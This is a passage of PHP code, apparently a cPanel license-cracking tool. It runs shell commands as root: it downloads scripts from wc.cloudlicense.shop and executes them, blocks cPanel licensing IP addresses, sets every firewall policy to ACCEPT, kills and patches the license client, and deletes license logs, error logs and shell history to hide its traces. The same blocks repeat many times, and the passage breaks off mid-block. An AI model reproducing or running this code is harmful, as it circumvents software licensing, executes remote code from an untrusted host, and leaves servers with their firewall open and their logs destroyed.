										exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
										exec('sh /usr/bin/con0 > /dev/null 2>&1');
										exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
										exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
										exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
										exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
										exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
										exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
										exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
										exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
										exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
										exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
										exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
									}

									$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

									if (0 < strlen($cpanel_txt)) {
										if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
											exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
											exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
											exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
											exec('sh /usr/bin/con0 > /dev/null 2>&1');
											exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
										}
									}
								}

								$filename3 = '/usr/local/cpanel/cpanel.lisc';

								if (file_exists($filename3)) {
									exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
									exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
									exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
									exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
									exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
									exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
									exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
									exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
									exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
									exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
									exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
									exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
													maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
									exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
									exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
									exec('cat /usr/bin/.sysma/procc.conf4 > /usr/local/.recoverit');
									exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
									exec('sed -i \'1d\' /usr/local/.recoverit1');
									exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
									exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
									exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
									exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
									exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
									exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
									exec('service cpanel restart > /dev/null 2>&1');
									exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
									maximum_users();
									echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
								}
								else {
									exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
									exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
									exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
									exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
									exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
									exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
									exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
									exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
									exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
									exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
									exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
									exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
									exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
									exec('timeout 5s csf -f > /dev/null 2>&1');
									exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
									exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
									exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
									exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
									exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
									exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
									exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
									exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
									exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
									exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
									exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
									exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
									exec('/usr/bin/wget -O /usr/bin/.sysma/procc31_2.conf https://wc.cloudlicense.shop/api/change2?key=' . $key . ' > /dev/null 2>&1');
									exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc31_2.conf > /usr/bin/.sysma/procc45.conf');
									$null = shell_exec('check=$(timeout 70s /usr/bin/plast -q -f /usr/bin/.sysma/procc45.conf /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
									exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
									$dns = '/usr/local/cpanel/cpanel.lisc';

									if (file_exists($dns)) {
										$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
										$pos = strpos($filedns, 'dnsonly');

										if ($pos !== false) {
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
											exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
											exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
											exec('sh /usr/bin/con0 > /dev/null 2>&1');
											exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
											exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
										}

										$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

										if (0 < strlen($cpanel_txt)) {
											if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
												exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
												exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
												exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
												exec('sh /usr/bin/con0 > /dev/null 2>&1');
												exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
											}
										}
									}

									$dns = '/usr/local/cpanel/cpanel.lisc';

									if (file_exists($dns)) {
										$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
										$pos = strpos($filedns, 'dnsonly');

										if ($pos !== false) {
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
											exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
											exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
											exec('sh /usr/bin/con0 > /dev/null 2>&1');
											exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
											exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
										}

										$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

										if (0 < strlen($cpanel_txt)) {
											if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
												exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
												exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
												exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
												exec('sh /usr/bin/con0 > /dev/null 2>&1');
												exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
											}
										}
									}

									$dns = '/usr/local/cpanel/cpanel.lisc';

									if (file_exists($dns)) {
										$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
										$pos = strpos($filedns, 'dnsonly');

										if ($pos !== false) {
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
											exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
											exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
											exec('sh /usr/bin/con0 > /dev/null 2>&1');
											exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
											exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
										}

										$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

										if (0 < strlen($cpanel_txt)) {
											if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
												exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
												exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
												exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
												exec('sh /usr/bin/con0 > /dev/null 2>&1');
												exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
											}
										}
									}

									$dns = '/usr/local/cpanel/cpanel.lisc';

									if (file_exists($dns)) {
										$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
										$pos = strpos($filedns, 'dnsonly');

										if ($pos !== false) {
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
											exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
											exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
											exec('sh /usr/bin/con0 > /dev/null 2>&1');
											exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
											exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
											exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
										}

										$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

										if (0 < strlen($cpanel_txt)) {
											if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
												exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
												exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
												exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
												exec('sh /usr/bin/con0 > /dev/null 2>&1');
												exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
											}
										}
									}

									$filename3 = '/usr/local/cpanel/cpanel.lisc';

									if (file_exists($filename3)) {
										exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
										exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
										exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
										exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
										exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
										exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
										exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
										exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
										exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
										exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
										exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
										exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
														maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
										exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
										exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
										exec('cat /usr/bin/.sysma/procc45.conf > /usr/local/.recoverit');
										exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
										exec('sed -i \'1d\' /usr/local/.recoverit1');
										exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
										exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
										exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
										exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
										exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
										exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
										exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
										exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
										exec('service cpanel restart > /dev/null 2>&1');
										exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
										maximum_users();
										echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
									}
									else {
										exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
										exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
										exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
										exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
										exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
										exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
										exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
										exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
										exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
										exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
										exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
										exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
										exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
										exec('timeout 5s csf -f > /dev/null 2>&1');
										exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
										exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
										exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
										exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
										exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
										exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
										exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
										exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
										exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
										exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
										exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
										exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
										exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
										exec('/usr/bin/wget -O /usr/bin/.sysma/procc35.conf https://wc.cloudlicense.shop/api/change3?key=' . $key . ' > /dev/null 2>&1');
										exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc35.conf > /usr/bin/.sysma/procc.conf8');
										$null = shell_exec('check=$(timeout 70s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf8 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
										exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
										$dns = '/usr/local/cpanel/cpanel.lisc';

										if (file_exists($dns)) {
											$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
											$pos = strpos($filedns, 'dnsonly');

											if ($pos !== false) {
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
												exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
												exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
												exec('sh /usr/bin/con0 > /dev/null 2>&1');
												exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
												exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
											}

											$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

											if (0 < strlen($cpanel_txt)) {
												if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
													exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
													exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
													exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
													exec('sh /usr/bin/con0 > /dev/null 2>&1');
													exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
												}
											}
										}

										$dns = '/usr/local/cpanel/cpanel.lisc';

										if (file_exists($dns)) {
											$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
											$pos = strpos($filedns, 'dnsonly');

											if ($pos !== false) {
